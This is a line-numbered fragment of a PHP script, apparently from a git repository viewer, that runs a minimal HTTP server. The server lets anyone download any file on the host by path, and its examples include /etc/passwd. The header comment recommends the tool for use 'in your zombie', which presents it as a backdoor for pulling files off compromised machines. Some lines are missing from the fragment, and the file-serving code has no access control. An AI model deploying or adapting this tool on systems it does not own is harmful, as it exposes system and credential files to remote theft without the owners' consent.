5 Allows you to binary safe download any file from remote pc
6 http://server:port/file
7 http://server:port//etc/passwd
8 http://server:port/C:\dir\file
9 http://server:port/C:/dir/file
10 You can also play multimedia like streams (using XMMS, Winamp, etc...)
11 But this can serve only one file a time
12 (if you are streaming or downloading, you can download/browse anything other,
13 but you can use download manager to download file by file...)
14 You can change port or interface by passing arguments
15 Usage: (httpd.php [port] [interface_IP])
16 This is very nice utility to use in your zombie.
19 //////////////////////////////////////////////////////////////////////////////////
20 $interface = "127.0.0.1";
22 $index = "index.html";
24 //////////////////////////////////////////////////////////////////////////////////
25 $okheader = //Header 200
27 "Server: Harvie's HTTPd\n".
28 "Connection: close\n\n";
30 $badheader = //Header 404
31 "HTTP/1.0 404 File not found!\n".
32 "Server: Harvie's HTTPd\n".
33 "Connection: close\n\n";
35 $err404 = "ERR 404 - NOT FOUND!"; //Error 404
37 //////////////////////////////////////////////////////////////////////////////////
39 if($argc > 1) $port = trim($argv[1]);
40 if($argc > 2) $interface = trim($argv[2]);
43 echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");
44 //system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only
46 $sss = stream_socket_server("tcp://$interface:$port");
49 @$sfp = stream_socket_accept($sss);
53 while($sfp && !@feof
($sfp) && $loop) {
56 if(eregi("(GET|POST)", $line)) {
59 $line = explode(" ", $line);
61 $line[1] = urldecode($line[1]);
66 $line[1] = substr($line[1], 1);
69 if(is_file($line[1])) { //200 OK
70 fwrite($sfp, $okheader);
71 echo("200 ".$line[1]."\n");
72 $fp = fopen($line[1], "rb");
73 while( fwrite($sfp, fgets($fp)) );
75 } else { //404 NOT FOUND
76 echo("404 ".$line[1]."\n");
77 fwrite($sfp, $badheader);
78 fwrite($sfp, $err404);
This page took 1.25576 seconds and 4 git commands to generate.